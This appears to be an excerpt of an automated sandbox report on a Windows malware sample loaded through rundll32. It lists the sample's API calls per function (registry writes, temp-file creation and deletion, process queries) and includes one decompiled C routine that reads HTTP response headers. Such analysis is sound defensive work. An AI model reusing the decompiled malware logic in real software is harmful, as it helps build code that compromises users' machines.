                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,?,00000001,00000001,?,04CB1785,?,?,?), ref: 04CCD7D9
                            • Part of subcall function 04CBF307: RtlLeaveCriticalSection.NTDLL(?), ref: 04CBF384
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Freelstrlenmemcpy$AllocateCriticalLeaveSection
                          • String ID:
                          • API String ID: 1635816815-0
                          • Opcode ID: 30accde0d5e2da9747f4a8e934ffd0a790b5d7ee2447e42099ab11974d7d54fa
                          • Instruction ID: 5d880ceb17b4cd5b018892e77a7fe68240978fd56ef75f26ce1adedff5d780c4
                          • Opcode Fuzzy Hash: 30accde0d5e2da9747f4a8e934ffd0a790b5d7ee2447e42099ab11974d7d54fa
                          • Instruction Fuzzy Hash: 4E41A131900218AFDF21AFA4CC84B9EBBAAEF04344F054479F806A7150D770FE54EB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC458D Relevance: 10.6, APIs: 7, Instructions: 124registrymemoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlImageNtHeader.NTDLL ref: 04CC45B6
                          • RtlEnterCriticalSection.NTDLL(00000000), ref: 04CC45F9
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CC4614
                          • CloseHandle.KERNEL32(?,?,?,00000000,?,?,?), ref: 04CC466A
                          • HeapFree.KERNEL32(00000000,?,?,00000000,00000000,?,?,?), ref: 04CC46C6
                          • RegCloseKey.ADVAPI32(?,?,?,00000000,?,?,?), ref: 04CC46D4
                          • RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CC46DF
                            • Part of subcall function 04CB26D3: RegCreateKeyA.ADVAPI32(80000001,?,?), ref: 04CB26E7
                            • Part of subcall function 04CB26D3: memcpy.NTDLL(00000000,?,?,?), ref: 04CB2710
                            • Part of subcall function 04CB26D3: RegSetValueExA.ADVAPI32(?,?,00000000,00000003,00000000,?), ref: 04CB2739
                            • Part of subcall function 04CB26D3: RegCloseKey.ADVAPI32(?), ref: 04CB2764
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Close$CriticalSection$CreateEnterFreeHandleHeaderHeapImageLeaveOpenValuememcpy
                          • String ID:
                          • API String ID: 3181710096-0
                          • Opcode ID: 45d4092ce862d4757998e1e04cc1d82966012a8205685cc0999169eaa3879bdb
                          • Instruction ID: f6a9b2affbc7757c47efdbcf69763532bbdfd5b4710f288016a8004b95ff71e8
                          • Opcode Fuzzy Hash: 45d4092ce862d4757998e1e04cc1d82966012a8205685cc0999169eaa3879bdb
                          • Instruction Fuzzy Hash: 4841D07A200205FBEB259F65DC58FAA3BAAEF44341F048028F902CB154DB35EE40DF98
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1AAC Relevance: 10.6, APIs: 7, Instructions: 124threadstringCOMMON
                          Download Yara Rule
                          APIs
                          • GetCurrentThreadId.KERNEL32 ref: 04CD1AED
                          • GetWindowThreadProcessId.USER32(00000000,?), ref: 04CD1B1B
                          • GetWindowThreadProcessId.USER32(?,?), ref: 04CD1B60
                          • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04CD1B88
                          • _strupr.NTDLL ref: 04CD1BB3
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,00000104), ref: 04CD1BC0
                          • CloseHandle.KERNEL32(00000000,00000000,00000000,00000000,00000104), ref: 04CD1BDA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ProcessThread$Window$CloseCurrentHandleOpen_struprlstrlen
                          • String ID:
                          • API String ID: 3831658075-0
                          • Opcode ID: 8a797bdbb1a05702083aa8a803b1299d5d49a23ae895db8d73190e4a9b1e8245
                          • Instruction ID: 6861db5f3a4823f5ace9e0e3fe327c43a9ce7d418e1dddc92c85d10bc969563e
                          • Opcode Fuzzy Hash: 8a797bdbb1a05702083aa8a803b1299d5d49a23ae895db8d73190e4a9b1e8245
                          • Instruction Fuzzy Hash: 09411AB5900219FFDF219FA5CC49BEEBBBAEF48701F184456E601A2150DB74AA40DF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC48FD Relevance: 10.6, APIs: 7, Instructions: 110memoryfileCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          • StrChrA.SHLWAPI(?,0000002C,00003219), ref: 04CC4943
                          • StrTrimA.SHLWAPI(?,?), ref: 04CC4961
                          • StrTrimA.SHLWAPI(?,?,?,?,00000001), ref: 04CC49CA
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00000001), ref: 04CC49EB
                          • DeleteFileA.KERNEL32(?,00003219), ref: 04CC4A0D
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC4A1C
                          • HeapFree.KERNEL32(00000000,?,00003219), ref: 04CC4A34
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileFreeHeapTemp$PathTimeTrim$CurrentDeleteNameSystemThreadlstrcpy
                          • String ID:
                          • API String ID: 1078934163-0
                          • Opcode ID: 1bd671631a3ae9e72044b480b88716166e4fdfc9a81df9eccf17d7477be9d8e6
                          • Instruction ID: 5e5c4e741cbf2e3d70b65456da8af5575e1f51c4c6ad63ce293f2caff5264162
                          • Opcode Fuzzy Hash: 1bd671631a3ae9e72044b480b88716166e4fdfc9a81df9eccf17d7477be9d8e6
                          • Instruction Fuzzy Hash: 99319C76201215BBE710EA54EC04FAAB7E9EB89704F044519FA44D7180EB79FE058BA6
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBE011 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103memoryCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,04CB8478,00000000), ref: 04CBE02B
                          • RtlAllocateHeap.NTDLL(00000000,00000024), ref: 04CBE040
                          • memset.NTDLL ref: 04CBE04D
                          • HeapFree.KERNEL32(00000000,00000000,?,04CB8477,?,?,00000000,?,00000000,04CC9CD0,?,00000000), ref: 04CBE06A
                          • memcpy.NTDLL(?,?,04CB8477,?,04CB8477,?,?,00000000,?,00000000,04CC9CD0,?,00000000), ref: 04CBE08B
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Allocate$Freememcpymemset
                          • String ID: chun
                          • API String ID: 2362494589-3058818181
                          • Opcode ID: f52770bcf7f5b90f68d8560d072ccbd6a2e47b58165ee4c3f4281e039dbc617c
                          • Instruction ID: 2c3c8fd84915af540d826d6224cf9c4e8206f3797b478d6ede04932fad6e075f
                          • Opcode Fuzzy Hash: f52770bcf7f5b90f68d8560d072ccbd6a2e47b58165ee4c3f4281e039dbc617c
                          • Instruction Fuzzy Hash: D3319D79200606AFE7309F65D844F96BBEEEF44714F05852AE98AC7620D734FA04DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74A85 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C74A85(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04C76D63(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E04C76C2C(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04C76E40( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                          0x04c74a85
                          0x04c74a85
                          0x04c74a95
                          0x04c74a98
                          0x04c74a9c
                          0x04c74aa2
                          0x04c74aa7
                          0x04c74ac0
                          0x04c74ad4
                          0x04c74adb
                          0x04c74ae2
                          0x04c74b35
                          0x04c74b3b
                          0x04c74b41
                          0x04c74b7c
                          0x04c74b82
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c74b41
                          0x04c74ae8
                          0x00000000
                          0x04c74aef
                          0x04c74afd
                          0x04c74b00
                          0x04c74b03
                          0x04c74b0f
                          0x04c74b13
                          0x04c74b75
                          0x04c74b15
                          0x04c74b27
                          0x04c74b65
                          0x04c74b70
                          0x04c74b29
                          0x04c74b2c
                          0x04c74b30
                          0x04c74b30
                          0x04c74b27
                          0x00000000
                          0x04c74b13
                          0x04c74ae8
                          0x04c74aac
                          0x04c74ab2
                          0x04c74ab5
                          0x04c74aba
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c74b4a
                          0x04c74b52
                          0x04c74b57
                          0x04c74b5a
                          0x00000000

                          APIs
                          • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,761F81D0,00000000,00000000), ref: 04C74A9C
                          • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04C7593D,00000000,?), ref: 04C74AAC
                          • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 04C74ADE
                          • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04C74B03
                          • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04C74B23
                          • GetLastError.KERNEL32 ref: 04C74B35
                            • Part of subcall function 04C76E40: WaitForMultipleObjects.KERNEL32(00000002,04C77BB5,00000000,04C77BB5,?,?,?,04C77BB5,0000EA60), ref: 04C76E5B
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          • GetLastError.KERNEL32(00000000), ref: 04C74B6A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                          • String ID:
                          • API String ID: 3369646462-0
                          • Opcode ID: b3430b196bc7f1d222d89af32ec1c90c037365cc55472784c516f647390df800
                          • Instruction ID: 94e06ee6c941b06ab77391c0df772a1a333962b6997bd56e22914a0c57c30752
                          • Opcode Fuzzy Hash: b3430b196bc7f1d222d89af32ec1c90c037365cc55472784c516f647390df800
                          • Instruction Fuzzy Hash: 97312CB5900709EFEB21DFE5CC84A9EBBB9FB08350F10496AE502A2150D771AF44DF54
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB8EAF Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91memoryfilestringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          • lstrlen.KERNEL32(00000000,00000000,00000F00,00000000), ref: 04CB8ED3
                            • Part of subcall function 04CBA5E7: lstrlen.KERNEL32(00000000,7620F730,-00000001,00000000,?,?,?,04CB8EF7,?,00000000,000000FF), ref: 04CBA5F8
                            • Part of subcall function 04CBA5E7: lstrlen.KERNEL32(?,?,?,?,04CB8EF7,?,00000000,000000FF), ref: 04CBA5FF
                            • Part of subcall function 04CBA5E7: RtlAllocateHeap.NTDLL(00000000,00000020), ref: 04CBA611
                            • Part of subcall function 04CBA5E7: _snprintf.NTDLL ref: 04CBA637
                            • Part of subcall function 04CBA5E7: _snprintf.NTDLL ref: 04CBA66B
                            • Part of subcall function 04CBA5E7: HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,?,00000000,000000FF), ref: 04CBA688
                          • StrTrimA.SHLWAPI(00000000, s:,?,?,?,?,00000000,?,00000000,000000FF), ref: 04CB8F6D
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,00000000,000000FF), ref: 04CB8F8A
                          • DeleteFileA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,000000FF), ref: 04CB8F92
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,000000FF), ref: 04CB8FA1
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$FileFreeTemplstrlen$PathTime_snprintf$AllocateCurrentDeleteNameSystemThreadTrimlstrcpy
                          • String ID: s:
                          • API String ID: 2960378068-2363032815
                          • Opcode ID: b95eeff96b62f13496695d8579b167452f93b92f8768d31f7199e4526c4210f0
                          • Instruction ID: 5e075aa07fe1074a60be4bf53ed521dfa3ab9238a5454c06ad76cb282caccbe7
                          • Opcode Fuzzy Hash: b95eeff96b62f13496695d8579b167452f93b92f8768d31f7199e4526c4210f0
                          • Instruction Fuzzy Hash: 7D310C76A00205BFDB10AFE9CC84FDEBBBDEF08315F040555E645E6141E778BA449BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB13E0 Relevance: 10.6, APIs: 7, Instructions: 83stringfileCOMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(00000000), ref: 04CB13F6
                          • lstrcmpiW.KERNEL32(00000000,?), ref: 04CB142E
                          • lstrcmpiW.KERNEL32(?,?), ref: 04CB1443
                          • lstrlenW.KERNEL32(?), ref: 04CB144A
                          • CloseHandle.KERNEL32(?), ref: 04CB1472
                          • DeleteFileW.KERNEL32(?,?,?,?,?,?), ref: 04CB149E
                          • RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CB14BC
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSectionlstrcmpi$CloseDeleteEnterFileHandleLeavelstrlen
                          • String ID:
                          • API String ID: 1496873005-0
                          • Opcode ID: 663b067342408eef41a0e659dd2af584f362e7c39294f0de534a487798e16a8b
                          • Instruction ID: 03c33a5efa6bbcd204855d9b7e71e2110565c04cb6ba8a1079ca7085e0187ccd
                          • Opcode Fuzzy Hash: 663b067342408eef41a0e659dd2af584f362e7c39294f0de534a487798e16a8b
                          • Instruction Fuzzy Hash: F0213BB5601605BFDB109FB5DD98EAB77FEEF44284F084129E542E2100EB39FA059BA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBF7F2 Relevance: 10.6, APIs: 7, Instructions: 76memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(04CBF67C,00000000,04CDA420,04CDA440,?,?,04CBF67C,04CCE453,04CDA420), ref: 04CBF802
                          • RtlAllocateHeap.NTDLL(00000000,00000002), ref: 04CBF818
                          • lstrlen.KERNEL32(04CCE453,?,?,04CBF67C,04CCE453,04CDA420), ref: 04CBF820
                          • RtlAllocateHeap.NTDLL(00000000,00000001), ref: 04CBF82C
                          • lstrcpy.KERNEL32(04CDA420,04CBF67C), ref: 04CBF842
                          • HeapFree.KERNEL32(00000000,00000000,?,?,04CBF67C,04CCE453,04CDA420), ref: 04CBF896
                          • HeapFree.KERNEL32(00000000,04CDA420,?,?,04CBF67C,04CCE453,04CDA420), ref: 04CBF8A5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreelstrlen$lstrcpy
                          • String ID:
                          • API String ID: 1531811622-0
                          • Opcode ID: ba2bef9322e4c0e680336a6a21de88236925cb3b62521343dec90e9766f0b872
                          • Instruction ID: 0202e26889e3014e88a5b27e9e51ca40c9670ad4ae60186d5f699010ed430f0d
                          • Opcode Fuzzy Hash: ba2bef9322e4c0e680336a6a21de88236925cb3b62521343dec90e9766f0b872
                          • Instruction Fuzzy Hash: 9421C239205244BFEB125F68DC44BAA7FAAEB4A350F144068E8C997251C736BD06D7A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD13B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(00000000,00000000,?,?,00000000,?,04CC0E77,00000000), ref: 04CD13DA
                            • Part of subcall function 04CC3193: lstrcpy.KERNEL32(-000000FC,00000000), ref: 04CC31CD
                            • Part of subcall function 04CC3193: CreateDirectoryA.KERNEL32(00000000,00000000,?,00002365,00000000,?,04CD13E7,?,?,00000000,?,04CC0E77,00000000), ref: 04CC31DF
                            • Part of subcall function 04CC3193: GetTickCount.KERNEL32 ref: 04CC31EA
                            • Part of subcall function 04CC3193: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,?,00002365,00000000,?,04CD13E7,?,?,00000000,?,04CC0E77,00000000), ref: 04CC31F6
                            • Part of subcall function 04CC3193: lstrcpy.KERNEL32(00000000), ref: 04CC3210
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpy.KERNEL32(00000000), ref: 04CD1415
                          • wsprintfA.USER32 ref: 04CD1428
                          • GetTickCount.KERNEL32 ref: 04CD143D
                          • wsprintfA.USER32 ref: 04CD1452
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrcpy$CountHeapTickwsprintf$AllocateCreateDirectoryFileFreeNameTemplstrlen
                          • String ID: "%S"
                          • API String ID: 1152860224-1359967185
                          • Opcode ID: 3ff5778fe89927abc471de6922c083246776669471850704377fb803435f2288
                          • Instruction ID: ae465cbef4d362cc8a6411bf3c751fc6956b0214b878caca7253f7e2e8c4ab66
                          • Opcode Fuzzy Hash: 3ff5778fe89927abc471de6922c083246776669471850704377fb803435f2288
                          • Instruction Fuzzy Hash: F311B1B65022157FE200BBA4AC48EAF779DDF85254F094419FA4597201DA38FD019BF1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB977C Relevance: 10.6, APIs: 7, Instructions: 71filememoryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,00000000,00000000,761B5520,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC509E
                            • Part of subcall function 04CC508C: GetTempPathA.KERNEL32(00000000,00000000,0000001D,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50B7
                            • Part of subcall function 04CC508C: GetCurrentThreadId.KERNEL32 ref: 04CC50C4
                            • Part of subcall function 04CC508C: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50D0
                            • Part of subcall function 04CC508C: GetTempFileNameA.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CB5112,00000000,?,00000000,00000000,?), ref: 04CC50DE
                            • Part of subcall function 04CC508C: lstrcpy.KERNEL32(00000000), ref: 04CC5100
                          • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00001ED2,?,00000000,?,?,04CB314A,00000000), ref: 04CB97BD
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,00001ED2,?,00000000,?,?,04CB314A,00000000,00000000,00000004,?,00000000,?), ref: 04CB9830
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: FileTemp$PathTime$CreateCurrentFreeHeapNameSystemThreadlstrcpy
                          • String ID:
                          • API String ID: 2078930461-0
                          • Opcode ID: 3eccafe74a66ec41f88a1825c06e3ae4a6b556c24b350964fd5a828216b5f65b
                          • Instruction ID: 1cb1a63b6e9f8935582021606f846058691fd3dff31c874f6cc20608872c1ffd
                          • Opcode Fuzzy Hash: 3eccafe74a66ec41f88a1825c06e3ae4a6b556c24b350964fd5a828216b5f65b
                          • Instruction Fuzzy Hash: 7C110E75242224BBD7212E21AC8CFAF3FAEEB05761F004125FB81A51D0D67A6C58DAE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCEA15 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 68stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CC358E: lstrlen.KERNEL32(00000000,00000000,761F81D0,7749EEF0,?,?,?,04CCEA2E,?,761B5520,7749EEF0,?,00000000,04CBE842,00000000,060DC310), ref: 04CC35F5
                            • Part of subcall function 04CC358E: sprintf.NTDLL ref: 04CC3616
                          • lstrlen.KERNEL32(00000000,761F81D0,?,761B5520,7749EEF0,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA40
                          • lstrlen.KERNEL32(?,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA48
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • strcpy.NTDLL ref: 04CCEA5F
                          • lstrcat.KERNEL32(00000000,?), ref: 04CCEA6A
                            • Part of subcall function 04CCC32E: lstrlen.KERNEL32(?,?,?,00000000,?,04CCEA79,00000000,?,?,00000000,04CBE842,00000000,060DC310), ref: 04CCC33F
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          • StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA87
                            • Part of subcall function 04CB930C: lstrlen.KERNEL32(?,00000000,00000000,00000000,?,04CCEA93,00000000,?,00000000,04CBE842,00000000,060DC310), ref: 04CB9316
                            • Part of subcall function 04CB930C: _snprintf.NTDLL ref: 04CB9374
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heap$AllocateFreeTrim_snprintflstrcatsprintfstrcpy
                          • String ID: =
                          • API String ID: 2864389247-1428090586
                          • Opcode ID: ee9779d6168f7c9f84cfa58c8fb49bf880dcef7ff6bfef174bc41fbe00ee7fe4
                          • Instruction ID: d444170de75d6316488fd22f2acc73efc32ac9d67c939b8889b05924225e40e0
                          • Opcode Fuzzy Hash: ee9779d6168f7c9f84cfa58c8fb49bf880dcef7ff6bfef174bc41fbe00ee7fe4
                          • Instruction Fuzzy Hash: 791100779016247B5B11BBB89C88DAF379F9F866543054029FA0597140DF74FD02A7E0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB9E82 Relevance: 10.6, APIs: 7, Instructions: 67threadCOMMON
                          Download Yara Rule
                          APIs
                          • SwitchToThread.KERNEL32(?,?,04CCE846), ref: 04CB9EAD
                          • CloseHandle.KERNEL32(?,?,04CCE846), ref: 04CB9EB9
                          • CloseHandle.KERNEL32(00000000,7620F720,?,04CB3576,00000000,?,?,?,04CCE846), ref: 04CB9ECB
                          • memset.NTDLL ref: 04CB9EE2
                          • memset.NTDLL ref: 04CB9EF9
                          • memset.NTDLL ref: 04CB9F10
                          • memset.NTDLL ref: 04CB9F27
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memset$CloseHandle$SwitchThread
                          • String ID:
                          • API String ID: 3699883640-0
                          • Opcode ID: 2af2ad7b6a8e706854d4e3a946c28b2a099b0459f8ae3e0ea0ff93e48512a0fe
                          • Instruction ID: 4bbbcdbe3540600e61284e31029310787bcec6cefb17c2f385251e70885f5ab2
                          • Opcode Fuzzy Hash: 2af2ad7b6a8e706854d4e3a946c28b2a099b0459f8ae3e0ea0ff93e48512a0fe
                          • Instruction Fuzzy Hash: EF11A379B474207BE1123F26EC48FDB3A6FEFD6B15F084019F108A2114CB6B6E0196E9
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBCA7A Relevance: 10.6, APIs: 7, Instructions: 62memorysynchronizationCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CBCAAB
                          • wcstombs.NTDLL ref: 04CBCABC
